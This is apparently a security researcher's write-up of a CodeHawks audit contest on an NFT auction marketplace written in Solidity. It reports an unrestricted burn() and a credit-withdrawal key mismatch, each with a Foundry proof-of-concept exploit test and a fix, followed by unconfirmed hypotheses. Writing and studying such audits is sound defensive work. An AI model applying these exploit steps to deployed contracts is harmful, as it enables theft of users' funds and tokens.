Hello World! 🌐

Intro

Hey everyone — I’m Pavel, aka kode-n-rolla, a security researcher passionate about exploring systems, uncovering vulnerabilities, and helping projects become safer and stronger.

In this article, we’ll dive into one of the recent CodeHawks event — Bid Beasts.
I’ve always appreciated what CodeHawks brings to the community: it’s not just a platform for researching, but also a space to refine your own methodology — the one that’s unique to every researcher.

Beyond code, it teaches discipline, patience, and a mindset of curiosity that turns each challenge into a small journey of discovery.

Let’s explore this project together and see what we can learn along the way. 🧠⚡

📝Scoping

Before diving into the code, it’s essential to take structured notes — in whatever way works best for you.
Some researchers prefer detailed mind maps, others stick to quick markdown lists or sticky comments.
What matters most is structure: document every function, every pattern that catches your eye.

Even a single line — or one misplaced character — can completely break a contract’s logic.
That’s why I treat note-taking as part of the analysis, not a separate task.

🧱 Project Overview

The Bid Beasts project is a simple, auction-based NFT marketplace built around the BidBeasts ERC-721 token.
Its core purpose is to allow NFT owners to list, bid, and settle auctions through a fee-based mechanism.
The contract is implemented in Solidity, relies on OpenZeppelin standards, and targets EVM-compatible networks.

⚙️ Main Flow

1. Listing
   Sellers call listNFT(tokenId, minPrice) to list their NFT.
   The token is transferred to the marketplace contract.

2. Bidding
   Buyers call placeBid(tokenId) and send ETH to participate.
   Each new bid must exceed the previous one, while earlier bidders are refunded automatically.

3. Auction Completion
   After 3 days, anyone can call endAuction(tokenId) to finalize.

   • If the highest bid meets or exceeds the minimum price, the NFT is sent to the winner and the seller receives funds minus a 5% fee.

   • Otherwise, the NFT is returned to the seller.

4. Fee Withdrawal
   The contract owner can withdraw accumulated fees via withdrawFee().

👥 Actors

• Seller (NFT Owner) – lists NFTs and receives payment when auctions succeed.

• Bidder (Buyer) – places ETH bids and receives NFTs if they win.

• Contract Owner (Admin) – deploys the contract and manages platform fees.

💭 Observations & Early Invariants

From this scope, a few initial invariants and focus points start forming:

• Refund logic must always ensure fair ETH return to losing bidders.

• Ownership transfers must remain atomic and non-reentrant.

• Fee accounting must match every completed auction.

• Time constraints (3-day limit) should not be bypassable or resettable.

🔍 Researching

Prepare

The first step in any audit is setting up the environment and getting comfortable with the codebase.

git clone <repository-url>
cd <repository-folder>

forge compile
forge test

forge is part of foundry - framework for testing smart contracts.

I run all research locally inside VSCodium, keeping everything in one place.
Throughout the analysis, I leave quick annotations directly in the code — tags like @audit, @notice, or short inline notes.
They help me quickly revisit suspicious patterns or logic that deserves deeper attention.

To get a higher-level view, I also use the Solidity Metrics extension — it visualizes project structure, dependencies, and line counts per file.
This gives me a sense of scale: I usually start with smaller files to grasp their scope, then move upward toward parent contracts.
File by file, line by line — building a full picture of how the system behaves.

🧩 File #1: BidBeasts_NFT_ERC721.sol

The first contract defines the ERC-721 token used within the marketplace.
At a glance, it looks straightforward — minting and burning logic with two custom events.
However, while the mint() function is restricted to the owner via onlyOwner,
the burn() function lacks any access control.

    function mint(address to) public onlyOwner returns (uint256) {
        uint256 _tokenId = CurrenTokenID;
        _safeMint(to, _tokenId);
        emit BidBeastsMinted(to, _tokenId);
        CurrenTokenID++;
        return _tokenId;
    }

    //@ to test -> access control issue
    function burn(uint256 _tokenId) public {
        _burn(_tokenId);
        emit BidBeastsBurn(msg.sender, _tokenId);
    }

💡 Initial hypothesis: any user can call burn() and destroy someone else’s NFT.
That’s a potential High-severity vulnerability — unauthorized asset destruction.
I flag it immediately with @ to test for deeper validation in the testing phase.

🧩 File #2: BidBeastsNFTMarket.sol

Setup & approach (brief): For each file I sketch the control flow, map actors → functions → state changes, and flag anything that looks like a mismatch between read key and write key, state update ordering, external calls, or access control gaps.

Below — a condensed walkthrough of the market contract with focused excerpts and hypotheses.

Key excerpts (contextual)

mapping(address => uint256) public failedTransferCredits;

function _payout(address recipient, uint256 amount) internal {
    if (amount == 0) return;
    (bool success, ) = payable(recipient).call{value: amount}("");
    if (!success) {
        failedTransferCredits[recipient] += amount;
    }
}

function withdrawAllFailedCredits(address _receiver) external {
    uint256 amount = failedTransferCredits[_receiver];
    require(amount > 0, "No credits to withdraw");

    // @ audit -> why `msg.sender`, not `_receiver`?
@>  failedTransferCredits[msg.sender] = 0;

    (bool success, ) = payable(msg.sender).call{value: amount}("");
    require(success, "Withdraw failed");
}

What the code does (short)

• _payout tries to send ETH via call. On failure it credits failedTransferCredits[recipient] += amount.

• withdrawAllFailedCredits(_receiver) reads failedTransferCredits[_receiver] into amount, but then sets failedTransferCredits[msg.sender] = 0 and sends amount to msg.sender.

Confirmed issue (what I reported)

• Mismatch between read and write keys in withdrawAllFailedCredits allows an attacker to withdraw funds credited to someone else:

  • Attacker calls withdrawAllFailedCredits(victim), amount = failedTransferCredits[victim].

  • Function zeroes failedTransferCredits[msg.sender] (not victim) — so victim’s credits remain.

  • Sends amount to msg.sender. The attacker can repeat and drain contract balances.

• Short summary (your wording):
  Arbitrary withdrawal of another address' failed-transfer credits — A mismatch between the mapping key read and the mapping key cleared in withdrawAllFailedCredits allows any attacker to withdraw another address’ failedTransferCredits repeatedly, draining contract funds.

Why this is high-impact (hypothesis → validated)

• Credits are effectively fungible ETH trapped in the contract intended for specific recipients.

• The mismatch lets any caller claim any other address’s credits repeatedly.

• Real-world impact: direct theft / draining of contract funds; critical to fix.

Other observations — hypotheses & attention points (flagged, not all reported)

I flagged more than one suspicious area while reading. For the article, I present them as concise hypotheses, not as confirmed PoCs unless you validated them.

1. mint / burn (token contract): burn() has no access control — potential unauthorized burn. (Already flagged by you; correlates with marketplace trust model.)

2. placeBid — event & logic oddities:

   • There's an emit AuctionSettled(...) call early inside placeBid before regular bidding flow — looks like a copy/paste or misplaced event. (We should verify whether this floods logs or misleads monitoring.)

   • The first bid uses require(msg.value > listing.minPrice) (strictly greater) — OK but check intended semantics (>= vs >).

3. Bid increment calculation (integer math):

   • requiredAmount = (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE);

   • Integer division may round down causing edge-cases where a bidder can undercut the expected increment. Worth unit-testing (possible off-by-one).

4. Auction extension logic:

   • Extension adds S_AUCTION_EXTENSION_DURATION if timeLeft < S_AUCTION_EXTENSION_DURATION, but listing.auctionEnd = listing.auctionEnd + S_AUCTION_EXTENSION_DURATION; — when auctionEnd == 0 (no bids) code path differs; verify edge-cases for extensions and timer resets.

5. _executeSale ordering & reentrancy surface:

   • _executeSale does: listing.listed = false; delete bids[tokenId]; BBERC721.transferFrom(address(this), bid.bidder, tokenId); then computes fee and calls _payout(listing.seller, sellerProceeds).

   • Transfer to bid.bidder occurs before accounting finalization (s_totalFee += fee) — if transferFrom triggers a reentrant call (via a malicious receiver contract implementing onERC721Received and reentering market), check whether invariants remain safe. You already delete bids and set listed=false earlier which helps, but this ordering still merits tests.

6. withdrawAllFailedCredits — access control & naming confusion:

   • The signature accepts _receiver but then operates on msg.sender. Looks like a straightforward bug. Also function allows anyone to attempt withdrawal for any _receiver — combine that with the write/read mismatch and it becomes exploitable.

7. Centralization risk:

   • withdrawFee() is onlyOwner — fine, but should be noted in scoping as a centralization point (single key controls fees).

🧪 Testing & Validation

1) Unauthorized NFT Burn (ERC-721)

Likelihood

• Trivial: any EOA can call burn(tokenId) with a valid tokenId.

• No ownership/approval required in current implementation.

Impact

• Permanent destruction of assets the attacker doesn’t own.

• Breaks marketplace trust; enables mass DoS on the collection.

Severity

• High (direct asset loss, trivial to execute).

Proof of Concept

BidBeastsMarketPlaceTest.t.sol (only test function):

function test_anyoneCanBurnNFT() public {
    // Mint NFT to SELLER
    _mintNFT();
    assertEq(nft.ownerOf(TOKEN_ID), SELLER);

    // BIDDER_1 (not the owner) burns SELLER's NFT
    vm.prank(BIDDER_1);
    nft.burn(TOKEN_ID);

    // Token no longer exists; ownerOf should revert
    vm.expectRevert();
    nft.ownerOf(TOKEN_ID);
}

Recommended Mitigation

Use the OpenZeppelin ERC721Burnable pattern or, minimally, enforce owner/approval:

function burn(uint256 tokenId) public {
+    require(_isApprovedOrOwner(msg.sender, tokenId), "NA");
     _burn(tokenId);
     emit BidBeastsBurn(msg.sender, tokenId);
}

Optional hardening: after applying the fix, add a companion test ensuring burn() reverts for non-owners/non-approved, and succeeds for owners and approved operators.

2) Arbitrary Withdrawal of Another User’s Credits

Context

mapping(address => uint256) public failedTransferCredits;

function _payout(address recipient, uint256 amount) internal {
    if (amount == 0) return;
    (bool success, ) = payable(recipient).call{value: amount}("");
    if (!success) {
        failedTransferCredits[recipient] += amount;
    }
}

function withdrawAllFailedCredits(address _receiver) external {
    uint256 amount = failedTransferCredits[_receiver];
    require(amount > 0, "No credits to withdraw");

    // BUG: clearing msg.sender instead of _receiver
@>  failedTransferCredits[msg.sender] = 0;

    (bool success, ) = payable(msg.sender).call{value: amount}("");
    require(success, "Withdraw failed");
}

Likelihood

• Trivial: any EOA can call withdrawAllFailedCredits(receiver).

• Attacker can self-bootstrap credits by bidding from a contract that rejects ETH, forcing refunds into failedTransferCredits.

Impact

• Direct theft: attacker withdraws credits belonging to others.

• Repeatable while the victim’s mapping entry remains uncleared; limited only by contract balance.

• User & protocol fund loss + reputational damage.

Severity

• High (direct fund theft, trivial trigger, repeatable).

Proof of Concept

Utilities (in test file):

contract RejectEther {
    // No payable receive/fallback — value transfers revert
    fallback() external { revert(); }
}

This is for clarity, test file already has rejected address.

BidBeastsMarketPlaceTest.t.sol (only test function):

function test_withdrawOtherFunds_PoC() public {
    // 1) setup: mint & list NFT
    _mintNFT();
    _listNFT();

    // 2) fund a contract that rejects ETH (so refunds become credits)
    vm.deal(address(rejector), STARTING_BALANCE);

    // 3) first bid from rejector (will later be refunded into credits)
    uint256 bidToSteal = MIN_PRICE + 1;
    vm.prank(address(rejector));
    market.placeBid{value: bidToSteal}(TOKEN_ID);

    // 4) higher bid triggers refund to rejector -> credits recorded
    vm.prank(BIDDER_1);
    market.placeBid{value: 3 ether}(TOKEN_ID);

    // credits are set for the rejector
    assertEq(market.failedTransferCredits(address(rejector)), bidToSteal);

    // 5) attacker steals victim's credits via key-mismatch bug
    uint256 attackerBefore = BIDDER_2.balance;
    vm.prank(BIDDER_2);
    market.withdrawAllFailedCredits(address(rejector));

    assertEq(BIDDER_2.balance, attackerBefore + bidToSteal);
    // victim's entry NOT cleared -> repeat
    assertEq(market.failedTransferCredits(address(rejector)), bidToSteal);

    // 6) repeat while contract has funds
    vm.prank(BIDDER_2);
    market.withdrawAllFailedCredits(address(rejector));
    assertEq(BIDDER_2.balance, attackerBefore + bidToSteal * 2);
}

Recommended Mitigation

• Enforce that only the credited address can withdraw its own credits.

• Apply checks-effects-interactions with the correct key.

• Add nonReentrant to money-moving endpoints.

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits(address _receiver) external nonReentrant {
+     require(_receiver == msg.sender, "Only receiver can withdraw");

      uint256 amount = failedTransferCredits[_receiver];
      require(amount > 0, "No credits to withdraw");

-     failedTransferCredits[msg.sender] = 0;
+     failedTransferCredits[_receiver] = 0; // clear the correct slot first

-     (bool success, ) = payable(msg.sender).call{value: amount}("");
+     (bool success, ) = payable(_receiver).call{value: amount}("");
      require(success, "Withdraw failed");
}

Additional protections (recommended broadly):

• Add nonReentrant to placeBid, takeHighestBid, settleAuction, and withdrawFee.

• Consider emitting an event for successful failed-credit withdrawals for auditability.

• Consider unit tests for:

  • “Only receiver can withdraw” access control,

  • credits cleared on success,

  • failure paths (send reverts → credits accumulate → later withdrawal succeeds).

🔮 Areas for Further Review

While this event focused on confirming and reporting the two validated high-severity issues, several other parts of the codebase raised curiosity during review.
They were not fully tested within the event timeframe and are listed here purely as hypotheses for a full audit.
No exploit details are included out of respect for responsible disclosure.

1. Misplaced Event Emission

Observation:
Inside placeBid(), the contract emits AuctionSettled() before the auction actually ends.

Why it matters:
This can mislead off-chain systems or indexers that rely on events for auction state changes.
If left unaddressed, it may cause premature triggers of settlement-related logic.

Next step:
Verify event ordering and ensure AuctionSettled is emitted only within _executeSale().

2. Bid Increment Calculation

Observation:
The increment formula:

requiredAmount = (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE);

uses integer division that truncates decimals.

Why it matters:
This can allow slightly under-incremented bids to pass validation at boundary values.

Next step:
Property-test around thresholds to confirm whether rounding introduces unfair bidding scenarios.

3. Auction Extension Logic

Observation:
The auction extension adds time only when timeLeft < S_AUCTION_EXTENSION_DURATION.
The arithmetic (auctionEnd + S_AUCTION_EXTENSION_DURATION) could, in theory, cause unintended extensions if multiple bids arrive rapidly near the end.

Next step:
Model boundary cases with fuzz tests to ensure extensions cannot be chained indefinitely.

4. _executeSale() External Call Ordering

Observation:
NFT transfer occurs before fee accounting and payouts:

BBERC721.transferFrom(address(this), bid.bidder, tokenId);
s_totalFee += fee;
_payout(listing.seller, sellerProceeds);

Why it matters:
Even though listed and bids are cleared early, this ordering still exposes a potential reentrancy surface via onERC721Received() hooks.

Next step:
Add reentrancy tests with a malicious receiver; apply nonReentrant or reordering if needed.

5. Centralization Consideration

Observation:
withdrawFee() is restricted to onlyOwner.
While expected in small-scale projects, single-key administration can create operational risk.

Next step:
Consider a multisig, timelock, or DAO-controlled withdrawal mechanism for production deployments.

🧠 In future full audits, I plan to revisit these hypotheses systematically — using fuzzing, invariant testing, and differential analysis across versions to confirm whether they represent exploitable risks or benign design choices.

🧭 Takeaways & Reflections

Every challenge on CodeHawks teaches something new — not just about Solidity, but about discipline, ethics, and focus.

The first key takeaway came from the unauthorized burn issue.
It’s a simple reminder that access control is not optional, even for functions that “seem harmless.”
Leaving a critical function like burn() open turns ownership into an illusion — any user could destroy assets they don’t own.
In Web3, where trust is encoded in contracts, that one missing require() changes everything.

The second major lesson came from the withdrawAllFailedCredits bug.
It was elegant in its simplicity — a single mismatch between mapping keys.
But it also reinforced a mindset: that in smart contracts, “almost correct” is not safe.
Each read, write, and state change must align perfectly.
This one bug highlighted how easily a subtle logic error can escalate into full-blown fund theft.

There’s also a more personal reflection here.
During this event, I focused on two confirmed High severity issues.
I had more hypotheses — potential weaknesses — but limited time before the event closed.
Initially, I thought prioritizing only the highest-impact reports would be more efficient.
But after seeing the outcome, I realized something fundamental:

Even when time is short, professionalism is measured by completeness, not by the scoreboard.

In previous events, I reported every confirmed issue regardless of severity, and that approach always paid off — both in experience and in trust from reviewers.
This time I experimented by narrowing the focus, and now I clearly see the difference.

Moving forward, I’ll stick to one rule:

Always act like it’s production — even if it’s a learning event.

Every confirmed bug, every edge case, every anomaly deserves attention.
That’s how real researchers grow — by staying curious, thorough, and consistent.

“In the end, CodeHawks isn’t just about finding bugs — it’s about becoming the kind of researcher who never overlooks the small things that matter.” 🦅

🧡 Outro

After this event, I climbed to #135 on the CodeHawks::First Flight leaderboard — but more importantly, I sharpened my mindset.

Each flight teaches something new: not just how to find bugs, but how to think sharper, act faster, and stay humble.
That’s what makes the hacker’s journey meaningful — constant learning through curiosity and persistence.

Thank you, dear reader, for taking the time to go through this write-up.
I hope it gave you something useful — a new insight, a reminder, or simply the motivation to keep digging deeper.

Until next time — stay curious, stay ethical, and stay cyber safe. ⚡🧠